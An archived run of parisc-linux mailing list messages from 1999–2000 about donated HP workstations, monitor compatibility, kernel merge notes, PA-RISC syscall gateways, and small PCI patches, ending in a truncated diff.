Since I just finished university, I'm now searching for a good Unix / Linux / 
(parisc)-job near Duesseldorf / Germany.....
If someone is interested, please mail me privately at <deller@gmx.de>.
-----------------------------------------------------


From - Thu Nov 08 21:12:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Free Hardware!
Date: Thu, 25 May 2000 20:27:38 -0500 (CDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10005252026080.4312-100000@jesse.crash.lan>
References: <20000525151820.Q25884@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618932 361 80.91.229.3 (22 Nov 2014 01:15:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: catfish@alltel.net  Thu May 25 19:26:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA32126
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 May 2000 19:26:39 -0600
Original-Received: (qmail 26551 invoked by uid 15267); 26 May 2000 01:26:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26531 invoked from network); 26 May 2000 01:26:49 -0000
Original-Received: from unknown (HELO jesse.crash.lan) (root@162.39.134.109)
  by mailserv2.iuinc.com with SMTP; 26 May 2000 01:26:49 -0000
Original-Received: from localhost (catfish@localhost)
	by jesse.crash.lan (8.9.3/8.9.3) with ESMTP id UAA04314;
	Thu, 25 May 2000 20:27:38 -0500
X-Authentication-Warning: jesse.crash.lan: catfish owned process doing -bs
X-Sender: catfish@jesse.crash.lan
In-Reply-To: <20000525151820.Q25884@thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7335

Hello, 
 I have 4 715/50's and one 715/75 and they do not use vga monitors 
it's a standard VGA plug but it's RGBsync on Green 
I hope this nips some VGA questions before they start. 
Terry


catfish: icq #20116127


On Thu, 25 May 2000 willy@thepuffingroup.com wrote:

> Alex, I was thinking of seding out something along the following lines:
> 
> ---
> 
> Thanks to the generosity of several HP employees and the HP equipment
> recycling system, we have a number of systems to donate to developers.
> If you feel you could make good use of one of these systems and help
> the port along, please reply to me and we'll try to decide who gets one.
> Suggestions of how to decide who is sufficiently deserving to receive
> machines will also be gratefully accepted :-)
> 
> These are older systems; mostly 712/60, 712/80 and 715/50 systems.
> They are without monitors, but we do have keyboards for the 712 systems;
> these can use standard VGA monitors.  Some have hard discs, all have
> network (the 715/50 only has AUI; the 712 has 10baseT as well), some
> have floppy discs, some have telephony cards, some have extra video cards.
> 
> ---
> 
> I was also thinking about putting some of the gigabit ethernet cards
> for the K-class that grant shipped us up on eBay to finance shipping
> the systems to developers.  What do you think?
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:12:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Free Hardware!
Date: Thu, 25 May 2000 19:32:09 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20000525193209.A32056@puffin.external.hp.com>
References: <20000525151820.Q25884@thepuffingroup.com> <Pine.LNX.4.10.10005252026080.4312-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618932 368 80.91.229.3 (22 Nov 2014 01:15:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "T. Martin" <catfish@alltel.net>, willy@thepuffingroup.com
Original-X-From: prumpf@puffin.external.hp.com  Thu May 25 19:32:13 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA32365
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 May 2000 19:32:12 -0600
Original-Received: (qmail 29445 invoked by uid 15267); 26 May 2000 01:32:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29433 invoked from network); 26 May 2000 01:32:31 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 26 May 2000 01:32:31 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id TAA32360;
	Thu, 25 May 2000 19:32:09 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <Pine.LNX.4.10.10005252026080.4312-100000@jesse.crash.lan>; from T. Martin on Thu, May 25, 2000 at 08:27:38PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:7336

On Thu, May 25, 2000 at 08:27:38PM -0500, T. Martin wrote:
>  I have 4 715/50's and one 715/75 and they do not use vga monitors 
> it's a standard VGA plug but it's RGBsync on Green 
> I hope this nips some VGA questions before they start. 

there's a small switch behind the monitor sticker (at least on my
715/33) that makes it work with a VGA monitor (definitely _not_ a
SOG monitor).

Could someone verify this switch exists and works on 715/50 and /75
too ?  (/64, /80, /100 use Artist so should be fine).

	Philipp Rumpf


From - Thu Nov 08 21:12:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Free Hardware!
Date: Thu, 25 May 2000 20:39:00 -0500 (CDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10005252036410.4318-100000@jesse.crash.lan>
References: <20000525193209.A32056@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618933 370 80.91.229.3 (22 Nov 2014 01:15:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:33 +0000 (UTC)
Cc: willy@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@puffin.external.hp.com>
Original-X-From: catfish@alltel.net  Thu May 25 19:37:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA32516
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 May 2000 19:37:56 -0600
Original-Received: (qmail 32281 invoked by uid 15267); 26 May 2000 01:38:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32254 invoked from network); 26 May 2000 01:38:14 -0000
Original-Received: from unknown (HELO jesse.crash.lan) (root@162.39.134.109)
  by mailserv2.iuinc.com with SMTP; 26 May 2000 01:38:14 -0000
Original-Received: from localhost (catfish@localhost)
	by jesse.crash.lan (8.9.3/8.9.3) with ESMTP id UAA04338;
	Thu, 25 May 2000 20:39:00 -0500
X-Authentication-Warning: jesse.crash.lan: catfish owned process doing -bs
X-Sender: catfish@jesse.crash.lan
In-Reply-To: <20000525193209.A32056@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7337

Mine have the small switch too, 
but all it does is change the fixed freq of the required monitor. 
I have an HP Apollo A2287A 1024x768 and the 715/75 was set for a higher
resolution of 1280x1024 via the toggle switch. 


catfish: icq #20116127


On Thu, 25 May 2000, Philipp Rumpf wrote:

> On Thu, May 25, 2000 at 08:27:38PM -0500, T. Martin wrote:
> >  I have 4 715/50's and one 715/75 and they do not use vga monitors 
> > it's a standard VGA plug but it's RGBsync on Green 
> > I hope this nips some VGA questions before they start. 
> 
> there's a small switch behind the monitor sticker (at least on my
> 715/33) that makes it work with a VGA monitor (definitely _not_ a
> SOG monitor).
> 
> Could someone verify this switch exists and works on 715/50 and /75
> too ?  (/64, /80, /100 use Artist so should be fine).
> 
> 	Philipp Rumpf
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:12:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Free Hardware!(Monitor selection)
Date: Thu, 25 May 2000 20:43:13 -0500 (CDT)
Lines: 8
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10005252041370.4388-100000@jesse.crash.lan>
References: <Pine.LNX.4.10.10005252036410.4318-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618933 373 80.91.229.3 (22 Nov 2014 01:15:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:33 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: catfish@alltel.net  Thu May 25 19:42:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA32630
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 May 2000 19:42:05 -0600
Original-Received: (qmail 2244 invoked by uid 15267); 26 May 2000 01:42:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2225 invoked from network); 26 May 2000 01:42:23 -0000
Original-Received: from unknown (HELO jesse.crash.lan) (root@162.39.134.109)
  by mailserv2.iuinc.com with SMTP; 26 May 2000 01:42:23 -0000
Original-Received: from localhost (catfish@localhost)
	by jesse.crash.lan (8.9.3/8.9.3) with ESMTP id UAA04390
	for <parisc-linux@thepuffingroup.com>; Thu, 25 May 2000 20:43:13 -0500
X-Authentication-Warning: jesse.crash.lan: catfish owned process doing -bs
X-Sender: catfish@jesse.crash.lan
In-Reply-To: <Pine.LNX.4.10.10005252036410.4318-100000@jesse.crash.lan>
Xref: news.gmane.org gmane.linux.ports.parisc:7338

I appoligize if im wrong, but thats what I was lead to belive awhile back
on this list. 


catfish: icq #20116127




From - Thu Nov 08 21:12:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [MERGE] trouble files
Date: Thu, 25 May 2000 22:43:29 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <200005260543.WAA08459@milano.cup.hp.com>
References: <20000523200750.F17536@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618933 378 80.91.229.3 (22 Nov 2014 01:15:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu May 25 23:42:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA01583
	for <parisc-linux@puffin.external.hp.com>; Thu, 25 May 2000 23:42:25 -0600
Original-Received: (qmail 24747 invoked by uid 15267); 26 May 2000 05:42:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24736 invoked from network); 26 May 2000 05:42:44 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 26 May 2000 05:42:44 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 3872F14E; Fri, 26 May 2000 01:42:40 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id WAA08459; Thu, 25 May 2000 22:43:29 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 23 May 2000 20:07:50 PDT."
             <20000523200750.F17536@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7339


Mathew (and others),

I'm posting these comments so the same files don't get done twice.
And I think someone who has clue could do me a favor and submit
a patch to linus for a few minor things. So far, this merge looks
pretty easy.

...
drivers/char/Config.in
	Added CONFIG_GSC_LASI support for serial console support.

drivers/char/Makefile
	Added CONFIG_GSC_PS2 (gsc_ps2.o keyb_at.o) support
	Added CONFIG_HIL support

drivers/char/console.c
	Not sure we want the mod to vt_console_device().
	Seems we end up invoking MKDEV() twice.

	TODO:
	a) Need to add #ifdef __hppa__ (or something) around
	  "unregister_console(&pdc_cons)" invocation.
	b) Added CON_CONSDEV | CON_ENABLED to vt_console_driver[].
           Shouldn't this have #ifdef __hppa__ around it too?
	   This might not get accepted even with ifdefs...<sigh>.

drivers/char/serial.c
	Added CONFIG_GSC support.
	Should be straight forward to apply to pre8.
	Not sure "#ifndef __hppa__" code applies to PCI platforms as well.
	Certainly not to A400/L/N-class platforms.

...
> drivers/net/eepro100.c
	I had changed the default be "#define USE_IO".
	We wouldn't need this if MMIO BARs had kernel virtual addresses. 

> drivers/pci/pci.c
	"Bug" in linus' tree. spinlock_t declaration is getting picked
	up from spinlock.h by "accident" (included by another header file).
	Could someone submit this as a patch to linus?

> drivers/pci/pci.ids
	Please include this with pci.c in the patch.
	mkp added this for suckyio stuff.

...
> include/linux/pci.h
	Prumpf fixed a stub function in linus' tree.
	Another candidate to join pci.c patch submittal.

> include/linux/pci_ids.h
	goes with pci.ids above.

enjoy,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:12:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "an.rei" <an.rei@aon.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000 800/G30
Date: Thu, 25 May 2000 17:46:38 +0200
Organization: SSP- Software Progr. Dos,NT,Netware,Linux
Lines: 21
Approved: news@gmane.org
Message-ID: <01cb01bfc660$6d5aa3c0$6401010a@MAINDOMAIN>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618934 383 80.91.229.3 (22 Nov 2014 01:15:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:34 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: an.rei@aon.at  Fri May 26 09:35:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA09840
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 May 2000 09:35:35 -0600
Original-Received: (qmail 2368 invoked by uid 15267); 26 May 2000 15:35:56 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2344 invoked from network); 26 May 2000 15:35:55 -0000
Original-Received: from ws01sp29.highway.telekom.at (HELO email.aon.at) (195.3.96.118)
  by mailserv2.iuinc.com with SMTP; 26 May 2000 15:35:55 -0000
Original-Received: from pc133 (N853P008.dipool.highway.telekom.at [212.183.116.136])
	by email.aon.at (8.9.3/8.9.3) with SMTP id RAA629274
	for <parisc-linux@thepuffingroup.com>; Fri, 26 May 2000 17:35:52 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:7340

Dear Dev's,

Franz, a friend of mine got a HP 9000 800/G30 from 
a customer very cheap.

I would like to use this machine as one of his webserver with
apache, mysql, php3.

Is there port from Linux which will work on this machine.
What would I have to do. I have Suse 6.4 at home.?

Thank you very much
Andreas









From - Thu Nov 08 21:12:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Shaver <shaver@netscape.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Gateway instructions
Date: Thu, 18 Mar 1999 16:51:09 -0500
Organization: mozilla.org diplomatic corps
Lines: 34
Approved: news@gmane.org
Message-ID: <36F1754D.17EA4048@netscape.com>
References: <199903181840.KAA25312@cllmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618934 387 80.91.229.3 (22 Nov 2014 01:15:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:34 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: shaver@netscape.com  Thu Mar 18 16:50:03 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id QAA31012
	for <hppa-linux@sod.res.cmu.edu>; Thu, 18 Mar 1999 16:50:02 -0500
Original-Received: (qmail 21370 invoked by uid 15267); 18 Mar 1999 21:49:13 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 21363 invoked from network); 18 Mar 1999 21:49:13 -0000
Original-Received: from h-205-217-237-47.netscape.com (HELO netscape.com) (205.217.237.47)
  by mailserv2.iuinc.com with SMTP; 18 Mar 1999 21:49:13 -0000
Original-Received: from tintin.mcom.com (tintin.mcom.com [205.217.233.42])
	by netscape.com (8.8.5/8.8.5) with ESMTP id NAA10461
	for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar 1999 13:49:23 -0800 (PST)
Original-Received: from netscape.com ([205.217.243.67]) by
          tintin.mcom.com (Netscape Messaging Server 4.03) with ESMTP id
          F8T8ME00.85R for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar
          1999 13:49:26 -0800 
Original-Sender: shaver@netscape.com (Mike Shaver)
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.0-pre7-ac1 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7341

Cary Coutant wrote:
> When a page's access rights are 4, 5, 6, or 7, a gateway instruction on
> that page causes the privilege promotion. Most HP-UX system calls are
> branches to a common gateway instruction on a gateway page in the fourth
> quadrant. This gateway instruction then branches to a common syscall
> entry sequence that ultimately switches on the syscall number passed in a
> GR. Some "lightweight" syscalls may be implemented with their own
> gateways.

OK, so you don't have a spot on the page for each syscall?  I was
thinking that we'd want to do that, since we're going to use the whole
page anyway and it would make things a little quicker by eliminating the
later dispatch-by-syscall step.

I presume that the syscall gateway page layout is part of the HP-UX
kernel/user ABI though, so we'll be following your lead for SOM/HP-ELF
binaries anyway.

> The B bit is not a problem as long as the delay slot of the branch to the
> gateway is either nullified or filled in with a non-branch instruction.
> For example,
> 
>     LDIL L'GATEWAY,%r1
>     BLE  R'GATEWAY(%sr7,%r1)
>     LDO  sycallnum,%r22

Someday (maybe today, if I get all my work done =) ), I'll learn to read
that.

Mike

-- 
368177.00 314980.91


From - Thu Nov 08 21:12:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "an.rei" <an.rei@aon.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 800/G30
Date: Thu, 25 May 2000 18:27:19 +0200
Organization: SSP- Software Progr. Dos,NT,Netware,Linux
Lines: 26
Approved: news@gmane.org
Message-ID: <023e01bfc666$1971de80$6401010a@MAINDOMAIN>
References: <01cb01bfc660$6d5aa3c0$6401010a@MAINDOMAIN> <20000526181557.A434@pi.satimex.tvnet.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618934 392 80.91.229.3 (22 Nov 2014 01:15:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:34 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: an.rei@aon.at  Fri May 26 10:16:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA13002
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 May 2000 10:16:11 -0600
Original-Received: (qmail 4273 invoked by uid 15267); 26 May 2000 16:16:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4263 invoked from network); 26 May 2000 16:16:31 -0000
Original-Received: from ws01sp29.highway.telekom.at (HELO email.aon.at) (195.3.96.118)
  by mailserv2.iuinc.com with SMTP; 26 May 2000 16:16:31 -0000
Original-Received: from pc133 (N849P004.dipool.highway.telekom.at [212.183.116.4])
	by email.aon.at (8.9.3/8.9.3) with SMTP id SAA272614
	for <parisc-linux@thepuffingroup.com>; Fri, 26 May 2000 18:16:29 +0200
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Xref: news.gmane.org gmane.linux.ports.parisc:7342

Hallo,

Thanks for your answer,
So You think it doesn't make sense to try Pa-Risc Portation
for this machine :-(
Thanks Andreas


----- Original Message ----- 
From: Gyula Matics <mgyula@pi.satimex.tvnet.hu>
To: an.rei <an.rei@aon.at>
Sent: Friday, May 26, 2000 6:15 PM
Subject: Re: [parisc-linux] HP 9000 800/G30


> currently you are better off by running hpux on that machine.
> 
> parisc-linux is far from usable as a server. There is
> no userspace at all. Only the kernel is what kind of works.
> 
> A G30 is a very old machine using a proprietary bus
> and I'm not sure if it ever will be supported.
> 
> Gyula
> 


From - Thu Nov 08 21:12:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] -pre9 patch for PCI
Date: Fri, 26 May 2000 09:29:26 -0700 (PDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200005261629.JAA08798@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618935 393 80.91.229.3 (22 Nov 2014 01:15:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:35 +0000 (UTC)
Cc: linux-kernel@vger.rutgers.edu, parisc-linux@thepuffingroup.com
To: mj@ucw.cz, torvalds@transmeta.com
Original-X-From: grundler@cup.hp.com  Fri May 26 10:28:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA13949
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 May 2000 10:28:20 -0600
Original-Received: (qmail 15166 invoked by uid 15267); 26 May 2000 16:28:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15141 invoked from network); 26 May 2000 16:28:39 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 26 May 2000 16:28:39 -0000
Original-Received: from l3107mxr.atl.hp.com (l3107mxr.atl.hp.com [15.19.254.19])
	by atlrel1.hp.com (Postfix) with ESMTP
	id F25A9E2; Fri, 26 May 2000 12:28:37 -0400 (EDT)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by l3107mxr.atl.hp.com (Postfix) with ESMTP
	id 3D9894FD89; Fri, 26 May 2000 11:28:36 -0400 (EDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id JAA08798; Fri, 26 May 2000 09:29:26 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7343

Linus,
Here some things we (parisc port) found in the common code.
Mostly minor stuff.

drivers/pci/pci.c 
        spinlock_t declaration is getting picked up "accident".
	spinlock.h is included by another header file. 

drivers/pci/pci.ids 
        Martin Peterson (mkp@mkp.net) added SuperIO id's (aka suckyio :^).

include/linux/pci.h 
        Philipp Rumpf (prumpf@tux.org) fixed a stub function.

include/linux/pci_ids.h 
        goes with pci.ids above. 

thanks,
grant

Grant Grundler
grundler@puffin.external.hp.com


From - Thu Nov 08 21:12:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pre9 patch for PCI
Date: Fri, 26 May 2000 14:42:17 -0700
Lines: 72
Approved: news@gmane.org
Message-ID: <200005262142.OAA09514@milano.cup.hp.com>
References: <200005261629.JAA08798@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618935 399 80.91.229.3 (22 Nov 2014 01:15:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:35 +0000 (UTC)
Cc: linux-kernel@vger.rutgers.edu, parisc-linux@thepuffingroup.com
To: mj@ucw.cz, Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: grundler@cup.hp.com  Fri May 26 15:41:16 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA21549
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 May 2000 15:41:15 -0600
Original-Received: (qmail 4408 invoked by uid 15267); 26 May 2000 21:41:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4390 invoked from network); 26 May 2000 21:41:31 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 26 May 2000 21:41:31 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel2.hp.com (Postfix) with ESMTP
	id 2CC6E65D; Fri, 26 May 2000 17:41:30 -0400 (EDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id OAA09514; Fri, 26 May 2000 14:42:17 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 26 May 2000 09:29:26 PDT."
             <200005261629.JAA08798@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7344

Grant Grundler wrote:
> Linus,
> Here some things we (parisc port) found in the common code.
> Mostly minor stuff.


Alan Cox replied:
| You got patches for those ?

My bad.  I'm tired, had to leave to a funeral, and accidentally sent
out that e-mail prematurely when shutting down my machine.
My apologies.

I had the -pre1 diff (thanks to willy) but not the -pre9 diff.
At willy's suggestion, appended now are patches for -test1:

	drivers/pci/pci.c
	drivers/pci/pci.ids
	include/linux/pci_ids.h

include/linux/pci.h is already fixed in -test1.

apologies again,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


diff -urN linux-2.4.0-test1/drivers/pci/pci.c linux-ggg/drivers/pci/pci.c
--- linux-2.4.0-test1/drivers/pci/pci.c	Fri Apr 28 23:05:24 2000
+++ linux-ggg/drivers/pci/pci.c	Fri May 26 14:01:34 2000
@@ -18,6 +18,7 @@
 #include <linux/init.h>
 #include <linux/malloc.h>
 #include <linux/ioport.h>
+#include <linux/spinlock.h>
 #include <linux/pm.h>
 
 #include <asm/page.h>
diff -urN linux-2.4.0-test1/drivers/pci/pci.ids linux-ggg/drivers/pci/pci.ids
--- linux-2.4.0-test1/drivers/pci/pci.ids	Wed May 24 17:52:52 2000
+++ linux-ggg/drivers/pci/pci.ids	Fri May 26 14:06:06 2000
@@ -238,11 +238,12 @@
 100a  Phoenix Technologies
 100b  National Semiconductor Corporation
 	0001  DP83810
-	0002  87415
+	0002  87415/87560 IDE
